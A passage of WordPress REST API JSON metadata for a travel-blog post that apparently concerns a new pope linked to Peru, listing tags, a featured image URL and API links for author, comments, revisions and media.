vian-citizen","tag-royal-tombs-of-sipan-museum","tag-united-states","tag-vatican-city"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/new-pope.jpg?fit=1170%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3UN","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15053","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=15053"}],"version-history":[{"count":7,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15053\/revisions"}],"predecessor-version":[{"id":17618,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15053\/revisions\/17618"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/15055"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=15053"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=15053"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=15053"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}